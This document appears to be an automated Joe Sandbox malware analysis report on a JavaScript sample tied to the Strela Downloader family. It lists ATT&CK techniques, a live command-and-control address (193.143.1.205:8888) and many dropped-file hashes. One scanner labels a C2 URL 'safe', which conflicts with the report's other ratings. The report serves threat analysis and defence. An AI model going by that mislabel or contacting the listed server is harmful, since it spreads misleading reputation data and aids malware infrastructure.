Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	132 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
21033090848109083.js	8%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/r8	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3321884691.000001A72B400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2091467391.000001A72B1B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2091913825.00000125A1248000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2091976072.00000125A1279000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2092093217.00000125A129D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2091322616.00000125A1279000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2090345141.00000125A129B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/r8	net.exe, 00000007.00000002.2091976072.00000125A1279000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2091322616.00000125A1279000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591776
Start date and time:	2025-01-15 13:07:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	21033090848109083.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 54.224.241.105, 34.237.241.83, 50.16.47.176, 18.213.11.84, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.210.172, 23.209.209.135, 2.16.168.105, 2.16.168.107, 20.12.23.50, 13.107.246.45, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:08:01	API Interceptor	19x Sleep call for process: powershell.exe modified
07:08:04	API Interceptor	1x Sleep call for process: net.exe modified
07:08:04	API Interceptor	2x Sleep call for process: svchost.exe modified
07:08:17	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	31070304561863532281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2387315401298627745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1475127682155276.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14957144702878221204.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1579614525244583223.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	35491083472324549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28236151432955330765.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17201670993971103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2330118683179179335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	577119676170175151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	https://www.pdfforge.org/pdfcreator?srsltid=AfmBOoq1lpA5qNxfcLUyxjmEXAioeKYtqPTpBsIbZ5VOdq3uhOg1WclG	Get hash	malicious	Unknown	Browse	199.232.214.172
	0969686.vbe	Get hash	malicious	AgentTesla	Browse	199.232.210.172
	00.ps1	Get hash	malicious	PureCrypter, LummaC, LummaC Stealer	Browse	199.232.210.172
	31070304561863532281.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Inquiry.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	199.232.214.172
	new.bat	Get hash	malicious	Unknown	Browse	199.232.214.172
	2387315401298627745.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	92.255.57.112.ps1	Get hash	malicious	PureCrypter	Browse	199.232.210.172
	1475127682155276.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Invdoc80.pdf	Get hash	malicious	HTMLPhisher	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	373320438246114031.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1025029660567011705.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31070304561863532281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1724730880967915900.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2387315401298627745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8886101892955431603.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1475127682155276.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14957144702878221204.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1579614525244583223.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	35491083472324549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307186137050843
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugZ:gJjJGtpTq2yv1AuNZRY3diu8iBVqF/
MD5:	C977C454630E9F7D3068CFBB8005534A
SHA1:	BD7C195D782E43ABA0B49FE42276003D635D7F75
SHA-256:	894D4527FA8B7DE5D76192CA3B99E380F82B5CB977EECF25FAFB1FF60F5FCBB1
SHA-512:	BCFB8EEE31F99F3278EF3DAE0D21E49947B4B7940EE2CABD9839EF972E8C41AFC2643FCF5559E6B7395C80AE59EC14241AB6C857965286C0C3848717EDC368AE
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x93a4895a, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585731996289863
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	82281CCF1C0163C44697DA50EB196F39
SHA1:	BBE93108EC2D2CD08ACB6440E7976F4A5BA562D7
SHA-256:	F698C9228A70B05367A4F746ED5E476A8C51A01A9819A2A06F5E37022AD9ED2C
SHA-512:	E1161653A26E1AB552D75C4F325DBC3C9695722DD2864BCF9AAF99D54F236D8386237AD1D4FD817910869A50EDC1D8B17C7CE6889CB5A9DC3628C24B233E28C4
Malicious:	false
Preview:	...Z... ...............X\...;...{......................0.z..........{.......}K.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................XP.......}i..................*.}.....}i..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08044221064685073
Encrypted:	false
SSDEEP:	3:ZD56YeWOsvekGuAJkhvekl18sllrekGltll/SPj:9Az4trxl6EJe3l
MD5:	1931C9FF8F2A957D9DB4CC9894C46D62
SHA1:	2C64875CAB4237C3B5146B27327695DECB35CFC2
SHA-256:	225FC63C23B0216A030C47B42B5FDAEC3440E445C06070DFDED385EE393832E4
SHA-512:	68BC2F19E62013A3BAE3870E743BEF20A995165FA729C21AAD7A5E4466AEFC2F89E03571F2BFD28390E55F207E67DAB201F83A2C64983D451C5C36C18E9A2333
Malicious:	false
Preview:	.........................................;...{.......}i......{...............{.......{...XL......{...................*.}.....}i.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.138801368460007
Encrypted:	false
SSDEEP:	6:iOuSddIq2P92nKuAl9OmbnIFUt4SuXZmwiSuFkwO92nKuAl9OmbjLJ:7HMv4HAahFUtduX/zuF5LHAaSJ
MD5:	5CC96C582C78FA99D2D12F3BC575749F
SHA1:	657B75BF0E9E56BABF356A8FD20C449B4575947F
SHA-256:	B107E9EB2CF0D6B004F267DB5709C0424F3478EC2F424C8B1F567736A403DA95
SHA-512:	687FB3E84B0D300BACF7E31FCD2B1F6C49F78AED6E95637B8EADD28E9027B1C3D7B8C3870363C4912E13128B5B2634103E14D4A71CC77EA1A224CFFEBA4F763C
Malicious:	false
Preview:	2025/01/15-07:08:04.520 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/15-07:08:04.521 1c70 Recovering log #3.2025/01/15-07:08:04.521 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.138801368460007
Encrypted:	false
SSDEEP:	6:iOuSddIq2P92nKuAl9OmbnIFUt4SuXZmwiSuFkwO92nKuAl9OmbjLJ:7HMv4HAahFUtduX/zuF5LHAaSJ
MD5:	5CC96C582C78FA99D2D12F3BC575749F
SHA1:	657B75BF0E9E56BABF356A8FD20C449B4575947F
SHA-256:	B107E9EB2CF0D6B004F267DB5709C0424F3478EC2F424C8B1F567736A403DA95
SHA-512:	687FB3E84B0D300BACF7E31FCD2B1F6C49F78AED6E95637B8EADD28E9027B1C3D7B8C3870363C4912E13128B5B2634103E14D4A71CC77EA1A224CFFEBA4F763C
Malicious:	false
Preview:	2025/01/15-07:08:04.520 1c70 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/15-07:08:04.521 1c70 Recovering log #3.2025/01/15-07:08:04.521 1c70 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.173426950245367
Encrypted:	false
SSDEEP:	6:iOuSmUUpDM+q2P92nKuAl9Ombzo2jMGIFUt4SBpgZmwiSBpDMVkwO92nKuAl9OmT:7Hm9M+v4HAa8uFUtdc/zXMV5LHAa8RJ
MD5:	5B75203F81DE3185EB0A5056F46795A9
SHA1:	CA29F4D2E7AB56B88E5ECEF452EDE4BA4DB28D4B
SHA-256:	18969C0E3CC67BDF2115F7F0E2D3AC8CD68721BE3EDDD9FF8878BC744C3AE8CE
SHA-512:	C0FF2E54157861803D8CDBE47E5466F259404FED4BDF9A4E027152BCCC5670182000AC95A3344C2A8DDCB4FA1EE232FEA77D0F4B6D6E68D219671658AC9CFC7D
Malicious:	false
Preview:	2025/01/15-07:08:04.562 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/15-07:08:04.563 1cfc Recovering log #3.2025/01/15-07:08:04.563 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.173426950245367
Encrypted:	false
SSDEEP:	6:iOuSmUUpDM+q2P92nKuAl9Ombzo2jMGIFUt4SBpgZmwiSBpDMVkwO92nKuAl9OmT:7Hm9M+v4HAa8uFUtdc/zXMV5LHAa8RJ
MD5:	5B75203F81DE3185EB0A5056F46795A9
SHA1:	CA29F4D2E7AB56B88E5ECEF452EDE4BA4DB28D4B
SHA-256:	18969C0E3CC67BDF2115F7F0E2D3AC8CD68721BE3EDDD9FF8878BC744C3AE8CE
SHA-512:	C0FF2E54157861803D8CDBE47E5466F259404FED4BDF9A4E027152BCCC5670182000AC95A3344C2A8DDCB4FA1EE232FEA77D0F4B6D6E68D219671658AC9CFC7D
Malicious:	false
Preview:	2025/01/15-07:08:04.562 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/15-07:08:04.563 1cfc Recovering log #3.2025/01/15-07:08:04.563 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.055786681280226
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjsBdOg2H9iJAcaq3QYiubxnP7E4T3OF+:Y2sRdshdMHEJ3QYhbxP7nbI+
MD5:	8BA4AF74A54A85057FB034408AB63FC1
SHA1:	A3C9E3A6DBE8F9EC014B54815303B38637BA363B
SHA-256:	31AC90C93182161CF85117F7075C2B1C9CD165351969E04F904B79D16434789C
SHA-512:	AEA8EFBE59F3D2E48F91409DC54C605CE4F2A4895A2F18BCC2F686423C6B6975B74D384C0ABB3EA1850EBDD642CC09E02DBD5EDCF647BFF00B6ACC7C76CAE62A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381502897202688","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143355},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e6d5cce7-6f62-4b23-9431-ef364f9940d1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.055786681280226
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjsBdOg2H9iJAcaq3QYiubxnP7E4T3OF+:Y2sRdshdMHEJ3QYhbxP7nbI+
MD5:	8BA4AF74A54A85057FB034408AB63FC1
SHA1:	A3C9E3A6DBE8F9EC014B54815303B38637BA363B
SHA-256:	31AC90C93182161CF85117F7075C2B1C9CD165351969E04F904B79D16434789C
SHA-512:	AEA8EFBE59F3D2E48F91409DC54C605CE4F2A4895A2F18BCC2F686423C6B6975B74D384C0ABB3EA1850EBDD642CC09E02DBD5EDCF647BFF00B6ACC7C76CAE62A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381502897202688","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143355},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236382895038511
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUFiG4h4:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLe
MD5:	A89DDD79B0BCE99CF0E4AD65B67B4675
SHA1:	E0AB6E940C35E599B6AF8A09E364BB6B9AB208DA
SHA-256:	6891BA4E22A65F5D967FFCE0689795D54E2C1B488FA0AFF73668B3CA75DF3A03
SHA-512:	46692D0FCA1CAC450EF00FFE29479175012933116F314A75159F446E0E92F70BD3CAF7D9A9348FAD14CBFDB5BD9CC878DF2F9FBDECA4D6EA56BBCA3CFA199574
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.154717230737386
Encrypted:	false
SSDEEP:	6:iOuSSDM+q2P92nKuAl9OmbzNMxIFUt4S9XgZmwiS9XDMVkwO92nKuAl9OmbzNMFd:7HqM+v4HAa8jFUtdS/z9MV5LHAa84J
MD5:	ED07C91BBBB20FAB7248A2818BD06354
SHA1:	0760911F995A3278BB8D6CDB6B619EA4897EA427
SHA-256:	785A1F22F3D0A181EEC5EE332164F7DF613E80026785A3089B54977BFC2BF371
SHA-512:	F66AD85E061DB69F3AE99796D9A0E377EDB7F11F3E9C59D6A0E58396966C7CAE4ACECACFCA3C2F55CF995A9B0F935CF1222E205AEF5C3936EDB3C43184F6F622
Malicious:	false
Preview:	2025/01/15-07:08:04.751 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/15-07:08:04.752 1cfc Recovering log #3.2025/01/15-07:08:04.752 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.154717230737386
Encrypted:	false
SSDEEP:	6:iOuSSDM+q2P92nKuAl9OmbzNMxIFUt4S9XgZmwiS9XDMVkwO92nKuAl9OmbzNMFd:7HqM+v4HAa8jFUtdS/z9MV5LHAa84J
MD5:	ED07C91BBBB20FAB7248A2818BD06354
SHA1:	0760911F995A3278BB8D6CDB6B619EA4897EA427
SHA-256:	785A1F22F3D0A181EEC5EE332164F7DF613E80026785A3089B54977BFC2BF371
SHA-512:	F66AD85E061DB69F3AE99796D9A0E377EDB7F11F3E9C59D6A0E58396966C7CAE4ACECACFCA3C2F55CF995A9B0F935CF1222E205AEF5C3936EDB3C43184F6F622
Malicious:	false
Preview:	2025/01/15-07:08:04.751 1cfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/15-07:08:04.752 1cfc Recovering log #3.2025/01/15-07:08:04.752 1cfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

